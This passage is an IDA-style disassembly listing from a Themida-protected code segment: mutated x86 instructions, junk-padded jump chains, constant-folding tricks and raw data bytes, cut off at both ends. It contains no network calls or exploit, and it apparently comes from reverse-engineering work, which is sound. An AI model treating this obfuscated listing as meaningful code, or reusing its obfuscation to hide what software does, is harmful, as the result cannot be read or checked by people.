loc_585B1F: ; CODE XREF: Themida_:0058C3C8j sub ebp, 0FFFFFFFFh jmp loc_5852BD ; --------------------------------------------------------------------------- db 29h dd 92BA52C3h, 0E965E80Fh, 2A72h ; --------------------------------------------------------------------------- loc_585B34: ; CODE XREF: Themida_:0058EEE3j mov eax, esp push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 4 xor eax, [esp] jmp loc_58FF1F ; --------------------------------------------------------------------------- db 8Bh dd 0E9522414h, 2CD6h ; --------------------------------------------------------------------------- loc_585B58: ; CODE XREF: Themida_:0058F753j pop eax pop ebp pop ecx jmp loc_586169 ; --------------------------------------------------------------------------- dd 0E90DE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585B66: ; CODE XREF: Themida_:0058F95Bj xor ecx, esi mov esi, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx sub esp, 4 mov [esp], ebp mov ebp, 40h jmp loc_585F6F ; --------------------------------------------------------------------------- loc_585B8F: ; CODE XREF: Themida_:005878E7j push ebx push 4 pop ebx add edi, 2C7A1BBAh jmp loc_58CE53 ; --------------------------------------------------------------------------- db 83h, 0EDh, 4 dd 31242C33h, 90E9242Ch, 28FFFFEDh, 41EB80D3h, 8324148Bh dd 0B60F04C4h, 148B66C0h, 0A246824h, 2EE90000h, 42FFFFFDh dd 8FBFE9h, 0F2E95300h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_585BD7: ; CODE XREF: Themida_:00584AEAj add ebx, 152C21ACh pop ebp add ebx, 4 xchg ebx, [esp] pop esp or edx, eax shl edx, 1 push 5357h jmp loc_58B41C ; --------------------------------------------------------------------------- db 81h dd 5E53C1EBh, 0E9DD0150h, 731Fh ; --------------------------------------------------------------------------- loc_585C00: ; CODE XREF: Themida_:00585F6Aj sub ebp, 32C15CCh jmp loc_58985F ; --------------------------------------------------------------------------- loc_585C0B: ; CODE XREF: Themida_:0058A38Cj push edi jmp loc_58FB5B ; --------------------------------------------------------------------------- db 80h, 0F6h, 0F0h aAusfqssy db '€î˜fQSéY;',0 dw 2900h dd 5BD989CBh, 71F0E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_585C2A: ; CODE XREF: Themida_:00586174j mov [esp], edi push ecx mov ecx, 7E254C5Fh push ecx push ebp push 2F5E5E48h mov ebp, [esp] add esp, 4 xor [esp+4], ebp pop ebp pop edi xor edi, 2F5E5E48h pop ecx and edi, 664D1355h xor edi, 0A061EFh push esi mov esi, 995AA646h add edi, 6875611Bh sub edi, 78482AEFh add edi, esi add edi, 78482AEFh sub edi, 6875611Bh pop esi jmp loc_58E008 ; --------------------------------------------------------------------------- loc_585C82: ; CODE XREF: Themida_:00585855j pop edi xor edi, 6074036Bh push edi pop eax pop edi jmp loc_588392 ; --------------------------------------------------------------------------- db 0E9h, 0DDh, 0E7h dd 0E9C1FFFFh, 0FFE98304h, 5062E981h, 0EB8104F7h, 3BE6FDEh dd 5504E9h, 52E18900h, 6A56BB53h, 0A1E93319h, 100001Fh dd 241C8BDAh, 891EE9h db 0 byte_585CC5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005841B8o dd 582434FFh, 519968h, 24348900h, 234A68h, 307E900h, 0D9010000h dd 3017E981h, 875B65B1h, 0E95C240Ch, 0FFFFE783h ; --------------------------------------------------------------------------- loc_585CF0: ; CODE XREF: Themida_:0058461Bj pop dword ptr [esp] pop esp and eax, esi mov esi, [esp] jmp loc_58BF64 ; --------------------------------------------------------------------------- loc_585CFE: ; CODE XREF: Themida_:0058E818j mov edx, 4 add edi, edx pop edx add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ecx jmp loc_587673 ; --------------------------------------------------------------------------- dword_585D1C dd 240C8B66h, 0A4D8E9h db 0 ; --------------------------------------------------------------------------- loc_585D25: ; CODE XREF: Themida_:00587D20j mov edx, edi mov ebp, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edi, [esp] add esp, 4 and eax, ebp mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_586FF6 ; --------------------------------------------------------------------------- db 0BDh, 22h, 6Fh dd 0F58149FFh, 48961ABCh, 3E08F581h, 5EE93471h, 81000055h dd 9859DFC6h, 0E9FE017Dh, 7CB5h ; --------------------------------------------------------------------------- loc_585D84: ; CODE XREF: Themida_:00587B22j mov [esp], ebx jmp loc_586C3B ; --------------------------------------------------------------------------- loc_585D8C: ; CODE XREF: Themida_:0058D41Dj inc edi push ebx jmp loc_588EF6 ; --------------------------------------------------------------------------- loc_585D93: ; CODE XREF: Themida_:0058A962j neg esi sub esi, 0AE4372A5h shr esi, 3 add esi, 15767F34h add ecx, esi pop esi add ecx, 47CAA29Ah sub ebp, ecx pop ecx jmp loc_59012B ; --------------------------------------------------------------------------- db 50h, 83h, 0ECh dd 2696E904h db 2 dup(0) word_585DBE dw 8B66h ; DATA XREF: Themida_:0058440Co dd 54552404h, 4E4685Dh, 14890000h, 42D4BA24h, 0EA814242h dd 41237C18h, 0C281D2F7h, 11EC6C1h, 9145E9h, 240C8B00h dd 4F2268h, 242C8900h, 5FFFE9h, 5DEA0100h, 6853C229h, 51EF119Ch dd 2DEA815Bh, 29516F34h, 2DB850DAh, 1516F34h, 34FF58C2h dd 241C8B24h, 5004C483h, 4055854h, 83000000h, 0E4E904C0h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_585E2B: ; CODE XREF: Themida_:0058F90Aj push edi mov edi, 4287536Bh xor edi, 31517BB7h and eax, edi pop edi neg eax push 13E5h mov [esp], esi jmp loc_5881F9 ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 0E621E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585E52: ; CODE XREF: Themida_:0058CC91j add esp, 4 jmp loc_58BFEE ; --------------------------------------------------------------------------- aSR db '(<$é×R',0 align 2 aWssW db 'WSé',9,'w',0 db 0 ; --------------------------------------------------------------------------- loc_585E69: ; CODE XREF: Themida_:0058811Ej pop ebp push ecx mov ecx, 0B250FB71h push ecx add dword ptr [esp], 7E9C1711h pop ebx jmp loc_5853FE ; --------------------------------------------------------------------------- dw 4B9h dd 1000000h, 240C8BCBh, 4C481h, 0C5E90000h, 81000045h dd 0ABD04BF3h, 0E9D829A8h, 0D2Ah, 80D7F659h, 0C78062F7h dd 9CCF804Dh, 0E987F780h, 0FFFFEE2Eh, 23BFE958h, 57590000h dd 0C05940BFh, 2681E922h, 0C2810000h, 4A231F51h, 96E9EA29h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_585ED3: ; CODE XREF: Themida_:00586D08j mov [esp], esi jmp loc_58F952 ; --------------------------------------------------------------------------- db 81h dd 7B281DC5h, 5F17E98Eh, 0EC800000h, 7B20E9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_585EEE: ; CODE XREF: Themida_:005847DAj pop edi xor esi, 7EAB69DCh add ebx, esi pop esi push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp] pop esp jmp loc_58B232 ; --------------------------------------------------------------------------- dw 0D2F7h dd 0C281D2F7h, 0C29D9CE3h, 815AD601h, 610CCAE9h, 81F10115h dd 610CCAC1h, 24348B15h, 8304C483h, 1C8904ECh, 67F0E924h dd 0C870000h, 34FF5C24h, 59685824h, 89000055h, 0D3E92434h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_585F4B: ; CODE XREF: Themida_:0058A88Fj neg esi xor esi, 39F7519Ah sub esi, 0E113DA43h add eax, esi pop esi pop esi and eax, 0D8E25BAh sub eax, 10A0586h mov esi, eax pop eax jmp loc_585C00 ; --------------------------------------------------------------------------- loc_585F6F: ; CODE XREF: Themida_:00585B8Aj push ebp pop ebx pop ebp and ecx, ebx push dword ptr [esp] pop ebx push 0BD6h mov [esp], ecx mov ecx, esp jmp loc_58B8E3 ; --------------------------------------------------------------------------- loc_585F87: ; CODE XREF: Themida_:0058F8FEj add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_58CCBA ; --------------------------------------------------------------------------- aWs9 db 'Wé9-',0 db 0 ; --------------------------------------------------------------------------- loc_585F9B: ; CODE XREF: Themida_:00587283j add bl, 0C3h pop eax jmp loc_58B772 ; --------------------------------------------------------------------------- dd 4244429h, 8324048Bh, 34FF04C4h, 0C4815824h, 4, 0B31AF805h dd 0B60F666Dh, 0A0ECE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_585FC6: ; CODE XREF: Themida_:0058A453j pop dword ptr [esp] pop esp xor dh, 9Ah sub al, dh mov edx, [esp] jmp loc_587A0C ; --------------------------------------------------------------------------- db 1 dd 0EC835BD9h, 241C8904h, 33DCE9h, 24248900h, 6530E9h dd 24248900h, 872E9h, 240C8700h, 2414895Ch, 0A2C2E9h, 4C48100h dd 8F000000h, 248B2404h, 3CD36624h, 99E99C24h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586017: ; CODE XREF: Themida_:005903E8j mov edx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 and eax, edi pop edi or edx, eax shl edx, 1 push 6493h mov [esp], esi jmp loc_5857F8 ; --------------------------------------------------------------------------- aFzfrsh db 'fZfRéh',0Dh,0 align 2 dw 815Dh dd 4C4h, 4C58100h, 81000000h, 4EDh, 0AFE95500h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58605F: ; CODE XREF: Themida_:0058D658j and edi, 5BD1429h sub esp, 4 mov [esp], edi not dword ptr [esp] pop edi push esi sub esp, 4 mov [esp], edi mov edi, 61CC700Eh mov esi, edi mov edi, [esp] add esp, 4 add esi, 0FFFFFFFFh and esi, 1D146868h jmp loc_589486 ; --------------------------------------------------------------------------- db 8Bh dd 24D32424h, 0D0E99C24h, 31FFFFE3h, 6AE95BDAh, 6600008Fh dd 8E6B151h, 2C5966C8h, 28C0049Eh, 0F30058C6h, 95A8E95Ah dd 6EBA0000h, 52329E46h, 5A2414F7h, 37E9DAF7h, 81FFFFFEh dd 1673E1F3h, 0D5CB817Fh, 817CAF2Eh, 0F89FBDEBh, 0DA895213h dd 5B5AD089h, 0B3B08C05h, 58C289ACh, 815AD601h, 4859DCCEh dd 23C68150h, 1850684h, 4875EF0h, 8B665C24h, 89572404h dd 4EC83E7h, 0BE243489h, 4, 42F7E953h, 0DA310000h, 0DA31D331h dd 0FFE761E9h, 1F205FFh, 0B4E93914h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_586137: ; CODE XREF: Themida_:00585067j pop ecx jmp loc_58FD95 ; --------------------------------------------------------------------------- db 0BDh, 7Eh, 31h dd 0FAE9153Fh db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_586147: ; CODE XREF: Themida_:0058C894j add bh, 9Bh pop ecx jmp loc_58E4E8 ; --------------------------------------------------------------------------- dd 4C181h, 0E9520000h, 8098h dword_58615C dd 32C468h, 24148900h, 6211E9h db 0 ; --------------------------------------------------------------------------- loc_586169: ; CODE XREF: Themida_:00585B5Bj sub ecx, 59274AD2h push 71A8h jmp loc_585C2A ; --------------------------------------------------------------------------- aQsjp db 'Qéjp',0 db 0 ; --------------------------------------------------------------------------- loc_58617F: ; CODE XREF: Themida_:005846CDj pop ebx jmp loc_5872E1 ; --------------------------------------------------------------------------- loc_586185: ; CODE XREF: Themida_:005856B8j pop eax push esi mov esi, 1D760CC3h sub eax, 149F0F63h sub eax, esi jmp loc_58A889 ; --------------------------------------------------------------------------- loc_586198: ; CODE XREF: Themida_:0058EA0Ej push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5886AB ; --------------------------------------------------------------------------- loc_5861AF: ; CODE XREF: Themida_:0058C39Ej add ebp, 4 xchg ebp, [esp] jmp loc_5848A9 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8F000000h, 248B2404h, 2424D224h, 0E2A1E99Ch, 0E95FFFFFh dd 0FFFFF94Fh, 19C2805Bh, 7C24E9h, 290E6800h, 2C890000h dd 197ABD24h, 0EDD11383h, 0CD87D5F7h, 39E9D1F7h, 81000047h dd 0F465A2EEh, 5DC68147h, 115FF11h, 5DEE81DEh, 8115FF11h dd 0F465A2C6h, 0CDB85047h, 5624C16h, 212015D2h, 6E8C148h dd 17A7E9h, 2CC2BB00h, 0EB8127EEh, 0B269150Fh, 575BDE31h dd 8AE8E9h db 0 ; --------------------------------------------------------------------------- loc_58623D: ; CODE XREF: Themida_:00585315j mov ecx, 38h push edx mov edx, 24F5474Eh add ecx, edx pop edx add ecx, edi sub ecx, 24F5474Eh push 32Ah mov [esp], ebx jmp loc_58C761 ; --------------------------------------------------------------------------- loc_586260: ; CODE XREF: Themida_:0058AA65j add edi, 0D9FB7F5Eh jmp loc_588F97 ; --------------------------------------------------------------------------- loc_58626B: ; CODE XREF: Themida_:0058FA04j mov edx, esi pop esi or edx, 7C5A62EBh sub edx, 101A3C8Eh and ebp, edx mov edx, [esp] add esp, 4 jmp loc_5903CB ; --------------------------------------------------------------------------- db 81h dd 3134FEE9h, 59CB8989h, 0E951C301h, 0FFFFE9C5h ; --------------------------------------------------------------------------- loc_586298: ; CODE XREF: Themida_:00586F54j add eax, ebp pop ebp mov ecx, eax pop eax shr ecx, 6 jmp loc_58A91D ; --------------------------------------------------------------------------- loc_5862A6: ; CODE XREF: Themida_:00588DD1j xchg ebp, [esp] pop esp mov [esp], ebp xchg edi, [esp] xor edi, eax jmp loc_58A0B2 ; --------------------------------------------------------------------------- loc_5862B7: ; CODE XREF: Themida_:0058F3D7j push ecx mov ecx, 3A583B4Bh push 9DAh mov [esp], eax mov eax, 38B076C2h or eax, 45225117h jmp loc_5900C9 ; --------------------------------------------------------------------------- dword_5862D4 dd 160068h, 241C8900h, 9C5E28BBh, 18B85077h, 2541C832h ; DATA XREF: Themida_:00584350o dd 108B7175h, 8AF3E9h, 4088BD00h, 0E5817DF8h, 63B4603h dd 0ED81D5F7h, 0FBC7BFFBh, 875DEA29h, 895C2414h, 2B9240Ch dd 81000000h, 556E0FC3h, 81CB0153h, 556E0FEBh, 0F9685953h dd 89000071h, 74FF241Ch, 34FF0424h, 89535B24h, 4C381E3h dd 83000000h, 1C8704C3h, 0FDE95C24h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_586347: ; CODE XREF: Themida_:0058C236j pop eax add ebx, ebp pop ebp push 2692h mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_58CDEA ; --------------------------------------------------------------------------- loc_58635D: ; CODE XREF: Themida_:00588F92j add ebx, 4 xchg ebx, [esp] pop esp and eax, esi push dword ptr [esp] pop esi push ebx sub esp, 4 jmp loc_588F4F ; --------------------------------------------------------------------------- loc_586376: ; CODE XREF: Themida_:00584EC1j mov esi, 4 jmp loc_5880E9 ; --------------------------------------------------------------------------- aWXKVr db 'W¿å*ª',7,'VRº',0 dw 0BA4Eh dd 0D089506Fh, 5A58C689h, 0FFF150E9h, 35E951FFh db 3Bh, 2 dup(0) byte_58639F db 66h ; DATA XREF: Themida_:00584200o dd 56240C8Bh, 0E950E689h, 2320h, 0E957E189h, 23Ah ; --------------------------------------------------------------------------- loc_5863B4: ; CODE XREF: Themida_:00588E1Bj sub eax, 70C46434h sub eax, ecx push ecx push ebx jmp loc_58C2AB ; --------------------------------------------------------------------------- dw 3A2Dh dd 155420Dh, 0FF5558C5h, 5D042474h, 5C24048Fh, 9C240409h dd 0FFE096E9h, 1CF468FFh, 34890000h, 1FE95424h, 0B8000073h dd 478B6641h, 7053E9h db 0 ; --------------------------------------------------------------------------- loc_5863F5: ; CODE XREF: Themida_:0058FA5Aj sub esi, 70C3057Bh neg esi xor esi, 92E4B08h sub esi, 0BD11A211h add esi, 0CA74E149h sub ecx, 5D7B3690h jmp loc_58C0BE ; --------------------------------------------------------------------------- word_58641A dw 0F66h ; DATA XREF: Themida_:005842D4o dd 0BE6802B6h, 89000029h, 5954240Ch, 18BBB850h, 0E0D11BDCh dd 4A2DD8F7h, 574A250Dh, 0C1A45BFh, 5FF8091Ah, 31D03148h dd 52D031C2h, 0FFF1C8E9h, 2B8FFh, 59E90000h, 80FFFFE1h dd 0C228C6C2h, 8032B353h, 0BCE9F4F3h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_586467: ; CODE XREF: Themida_:00584D83j push 30B86970h pop eax and eax, 2F29005Fh or eax, 1472EEh xor eax, 4A7C7918h sub eax, 0FD03AA9Ah jmp loc_58ECA5 ; --------------------------------------------------------------------------- word_586486 dw 8B66h ; DATA XREF: Themida_:005841F0o dd 0B0E9240Ch, 81000049h, 4C4h, 2BF5700h, 81000000h, 8E1EE2C6h dd 0F8D1E96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5864A6: ; CODE XREF: Themida_:00588A89j mov esi, 6C5922E8h inc esi or esi, 2EEF39D2h add esi, 53F307B1h sub esi, 6B9F389Eh sub edi, esi jmp loc_58680F ; --------------------------------------------------------------------------- db 1, 0E9h, 81h dd 88138CC1h, 242C8B09h, 8104C483h, 0C04246Ch, 8161BB32h dd 6B04246Ch, 2954FB6Bh, 8104244Ch, 6B042444h, 8154FB6Bh dd 0C042444h, 5961BB32h, 0A5BB535Ah, 4B1E9670h, 0EB81D3F7h dd 8D1E4013h, 7771E9h, 240C8B00h, 4C481h, 0C1810000h, 4 dd 2ECCE9h db 0 ; --------------------------------------------------------------------------- loc_586521: ; CODE XREF: Themida_:00588305j pop edx and eax, ecx push dword ptr [esp] jmp loc_58725C ; --------------------------------------------------------------------------- loc_58652C: ; CODE XREF: Themida_:00588BC8j pop ecx add esp, 4 add eax, 4 xor eax, [esp] jmp loc_58742A ; --------------------------------------------------------------------------- dd 0E9240487h, 5B30h, 4C481h, 7F050000h, 0E94B4A49h, 0E5Ch ; --------------------------------------------------------------------------- loc_586558: ; CODE XREF: Themida_:0058A491j pop edi sub edx, 9603FC55h sub esi, edx jmp loc_586AF7 ; --------------------------------------------------------------------------- dw 9C50h dd 0FFDF06E9h, 895F58FFh, 0FAEE9C1h, 0F7810000h, 3DF04FC0h dd 15FFB89h, 0BA52FBh, 55000000h, 0F930A3BDh, 2DC58158h dd 1EB3EEFh, 0DA015DEAh, 1FD0EA81h, 2034438h, 143EE9h dd 58C38800h, 58B25259h, 80EEC280h, 94E943CAh, 57FFFFE2h dd 0C781E789h, 4, 4C781h, 3C870000h, 24248B24h, 0E904EC83h dd 4AB1h, 4C481h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5865DA: ; CODE XREF: Themida_:0058989Dj push ecx mov ecx, ebx mov ebx, ecx mov ecx, [esp] push edx sub esp, 4 mov [esp], esp jmp loc_5894EC ; --------------------------------------------------------------------------- dw 62BFh dd 5262CD0Ch, 0CE1C3BBAh, 5EAC147h, 939C281h, 0D7217737h dd 39B9515Ah, 0E9587647h, 1D2Ah ; --------------------------------------------------------------------------- loc_586610: ; CODE XREF: Themida_:00587C50j mov [esp], ebx push dword ptr [esp] pop esi add esp, 4 push esi mov eax, [esp] add esp, 4 jmp loc_58953B ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 6 dd 0D7F68146h, 56488E35h, 34EB1BEh, 1730E915h, 89570000h dd 4C781E7h, 83000000h, 3C8702C7h, 778E924h, 4830000h dd 34FF0424h, 19E95F24h, 38000049h, 0CE99CC1h, 0D0FFFFDEh dd 80DAF6E2h, 0C2800EF2h, 0E9D5887Dh, 0FFFFF30Dh dword_586678 dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFDDEBh, 5024148Bh ; DATA XREF: Themida_:00584254o dd 405E089h, 52000000h, 4BAh, 5AD00100h, 0E9240487h, 0FBh dd 4EC81h, 83E90000h, 8B00007Ch, 0C481242Ch, 4, 5C241C87h dd 4A30F66h, 0ACE99C24h, 81FFFFDDh, 4C7h, 4C78300h, 8B243C87h dd 50512424h, 8968E9h, 0DAF74200h, 0AC85F281h, 0D731B019h dd 0E9FA015Ah, 5108h, 0ED81DD29h, 272B770Bh, 81241C8Bh dd 4C4h, 242C8700h, 8924248Bh, 64E9240Ch, 83FFFFDDh, 67E904ECh db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_586717: ; CODE XREF: Themida_:00584BE6j push 53E8h mov [esp], esi push dword ptr [esp+4] jmp loc_5898A2 ; --------------------------------------------------------------------------- dd 641BB951h, 44813E5Bh, 4E0D0824h, 0CFE90F85h, 8100001Bh dd 0B544BAEEh, 655E90Dh, 2C330000h, 2C4DE924h, 0D0290000h dd 66C3315Ah, 0E3895351h, 4BD55h, 0C3810000h, 2067252Fh dd 0EB81EB01h, 2067252Fh, 4EB835Dh, 8B241C87h, 4892424h dd 5001B424h, 0D0F685B0h, 0FE03E0C0h, 7AB151C8h, 6605E9C0h dd 28000068h, 0C8A240Ch, 2C48324h, 37E95266h, 5C00007Fh dd 103B6866h, 24148966h, 0E9D7B050h, 9F7Ah ; --------------------------------------------------------------------------- loc_5867B0: ; CODE XREF: Themida_:0058B713j add [esp+8], ecx jmp loc_58F748 ; --------------------------------------------------------------------------- loc_5867B9: ; CODE XREF: Themida_:0058751Fj add esp, 4 push 4F78h jmp loc_58CC20 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9241489h, 0FFFFDF5Eh, 0C281DAF7h, 18EEA561h, 0FFFF6DE9h db 0FFh byte_5867E1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005841FCo dd 582434FFh, 50E78957h, 9E3B4CB8h, 0ED98E957h, 5753FFFFh dd 4BFh, 5DC9E900h, 0E6890000h, 4C681h, 29E90000h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58680F: ; CODE XREF: Themida_:005864C0j pop esi sub edi, ebx add edi, 57530B0Eh add edi, 64D05D46h pop ebx push ecx mov ecx, edi mov ebx, ecx pop ecx pop edi jmp loc_584473 ; --------------------------------------------------------------------------- db 89h dd 5B54241Ch, 78E768h, 242C8900h, 24C4E9h db 0 ; --------------------------------------------------------------------------- loc_58683D: ; CODE XREF: Themida_:0058C49Dj push dword ptr [esp] jmp loc_58F02C ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 8919E9h, 0A2C38100h, 8B230B71h, 0C4812404h, 4, 119CBD55h dd 8EE951EFh, 83FFFFF5h, 0FF042404h, 565B2434h, 5153E689h dd 8B20E9h, 0FFEF8100h, 81FFFFFFh, 7D7794F7h, 0FFFB01E8h dd 3C8B2434h, 325BE924h, 0EE810000h, 215226D0h, 0B850CE01h dd 75E01D3Ah, 0F632B0Dh, 3614E941h, 89660000h, 81E92404h dd 8300003Bh, 772104C4h, 2434FF1Ch, 0E689565Eh, 4C681h dd 0EE810000h, 4, 8B243487h, 14892424h, 81E28924h, 4C2h dd 4EC8300h, 0BF243C89h, 4, 875FFA01h, 0E95C2414h, 0FFFFDB7Fh ; --------------------------------------------------------------------------- loc_5868F4: ; CODE XREF: Themida_:00588542j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], esi mov esi, esp add esi, 4 push ecx jmp loc_58E06D ; --------------------------------------------------------------------------- db 0FFh dd 0DB55E930h, 2C89FFFFh, 0ACE95424h db 7Bh, 2 dup(0) byte_586927 db 8Bh ; DATA XREF: Themida_:00584324o dd 44E92424h, 80FFFFDBh, 8E94CC5h, 81000022h, 4C6h, 24348700h dd 241C8B5Ch, 0CF268h, 243C8900h, 0B0E9E789h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_586953: ; CODE XREF: Themida_:0058B204j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_58C3C0 ; --------------------------------------------------------------------------- dd 0BA525351h, 548E235Dh, 0F75AD389h, 0E3C381D3h, 8159823Dh dd 3D5A21F3h, 6EBC114h, 2506F381h, 9E90043h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58698F: ; CODE XREF: Themida_:0058AB50j shr ecx, 6 jmp loc_588368 ; --------------------------------------------------------------------------- aQsA db 'Qé/a',0 db 0 byte_58699D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005842ECo dd 8B545024h, 0C4812404h, 4, 405h, 4EC8100h, 0E9000000h dd 723Ah, 6D05E781h, 0C7812AF5h, 7D1334FEh, 0E95FFA09h dd 1F52h ; --------------------------------------------------------------------------- loc_5869D0: ; CODE XREF: Themida_:00589477j push ebp mov ebp, esp jmp loc_588DC8 ; --------------------------------------------------------------------------- dd 2483C681h, 0CE016083h, 2483EE81h, 68596083h, 6C24h dd 0FF243489h, 8B042474h, 0E7E92434h, 0B5000081h, 0E9E828BEh dd 0FFFFE69Bh, 2630A2Dh, 5D0296Ah, 6A02630Ah, 5E292D5Ah dd 0F50537BFh, 141E620h, 20F52DE8h, 0BB5341E6h, 37BF5E29h dd 515BD801h, 0D17E76B9h, 41D9F771h, 6117C181h, 85E94DB5h dd 5A000044h, 7DC4E9h, 7DC9B800h, 0C7313E72h, 8324048Bh dd 0D7F704C4h, 0E801BD55h, 3CE9EA91h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_586A5F: ; CODE XREF: Themida_:00586B05j mov [esp], esi pop dword ptr [edi+24h] pop esi loc_586A66: ; CODE XREF: Themida_:005856F6j push 1CCFh mov [esp], ebx push ebp jmp loc_58D199 ; --------------------------------------------------------------------------- dd 5C241C87h, 388D301h, 366BE9h, 0FC90B00h, 17F784h, 252A6800h dd 24890000h, 24048324h, 653E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_586A9A: ; CODE XREF: Themida_:0058DDB4j sub ebx, 0C67F0B4Fh sub edi, 64D05D46h jmp loc_588A88 ; --------------------------------------------------------------------------- db 80h dd 0D70866C2h, 0E9D7F65Ah, 5693h, 27CAE958h, 0CA010000h dd 81240C8Bh, 4C4h, 0E9D03100h, 48AAh ; --------------------------------------------------------------------------- loc_586AD0: ; CODE XREF: Themida_:0058AF93j mov edx, [esp] jmp loc_58754C ; --------------------------------------------------------------------------- dd 0E9240C87h, 77F7h aNsF db 'é:F',0 ; DATA XREF: Themida_:005843A8o align 2 dw 2959h dd 0C3815AD5h, 71A668DCh, 0D0E9EB01h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_586AF7: ; CODE XREF: Themida_:00586561j mov edx, [esp] add esp, 4 push dword ptr [edi+24h] push 6B79h jmp loc_586A5F ; --------------------------------------------------------------------------- loc_586B0A: ; CODE XREF: Themida_:0058B1C1j not esi inc esi add esi, 0A306B1C3h xor ebp, esi pop esi and ebx, ebp jmp loc_589050 ; --------------------------------------------------------------------------- loc_586B1D: ; CODE XREF: Themida_:00587EFBj pop esi add esi, 4 push eax jmp loc_58A00C ; --------------------------------------------------------------------------- aB2n?swn db 'Ç|2N?éwN',0 db 0 ; --------------------------------------------------------------------------- loc_586B35: ; CODE XREF: Themida_:00585944j push eax push 109A6CE9h pop eax add eax, 0FFFFFFFFh add eax, 73E17196h and eax, 1A867401h push ebp jmp loc_586F4F ; --------------------------------------------------------------------------- db 57h, 0BFh, 26h dd 29D4D0A1h, 243C8BFAh, 0E904C483h, 0FFFFDEA6h ; --------------------------------------------------------------------------- loc_586B64: ; CODE XREF: Themida_:0058759Fj sub cl, 43h mov dl, cl pop ecx add ch, dl pop edx sub dh, 0B5h sub dh, 5Ch add dh, ch add dh, 5Ch add dh, 0B5h mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push edi jmp loc_5893B2 ; --------------------------------------------------------------------------- byte_586B93 db 83h ; DATA XREF: Themida_:00584364o dd 1C8904ECh, 0E08FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586B9E: ; CODE XREF: Themida_:005852B1j add esi, eax pop eax push 1C9Bh mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_584D16 ; --------------------------------------------------------------------------- dw 1C8Bh dd 0E7895724h, 4E16BD55h, 0F5810E84h, 2836129Fh, 14DEE9h dd 0E9FE2900h, 1B62h, 5D2414F7h, 5355514Dh, 8400E9h, 2404FF00h dd 50C7815Fh, 0E93BDE1Eh, 8B1Eh, 3087F680h, 0C7E95AF7h dd 3300001Ch, 4312404h, 24043324h, 0FFEF43E9h db 0FFh byte_586C1D db 0FFh, 34h, 24h ; DATA XREF: Themida_:005841A0o dd 8124048Bh, 4C4h, 8B545300h, 68E9241Ch, 5E000031h, 6EE9EF01h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_586C3B: ; CODE XREF: Themida_:00585D87j mov ebx, 4 sub eax, 3B903E1Ah add eax, ebx add eax, 3B903E1Ah pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_58F49C ; --------------------------------------------------------------------------- aQhxc db 'QhåC',0 dd 24348900h, 5405E9h, 1C875900h, 24248B24h, 418BE9h db 0 ; --------------------------------------------------------------------------- loc_586C75: ; CODE XREF: Themida_:0058B9C3j push edx push esp pop edx add edx, 4 jmp loc_58C94F ; --------------------------------------------------------------------------- db 51h dd 0BF57E189h, 2C2C68A2h, 0BA52D7F7h, 337A7E18h, 2928CA81h dd 0D0E9077Bh db 18h, 2 dup(0) byte_586C9F db 0FFh ; DATA XREF: Themida_:00584408o dd 83582434h, 48904ECh, 4EC8124h, 89000000h, 4832424h dd 56580424h, 4BEh, 67BB5300h, 1771742h, 0A52D5BD8h, 15B3E58h dd 71CEE9F0h, 90680000h, 89000076h, 5E9241Ch, 6600008Dh dd 242C8052h, 0C05A66FFh, 0CAFE02E2h, 0EC81CAFEh, 2, 24048966h dd 0B1E9D5B0h db 0E4h, 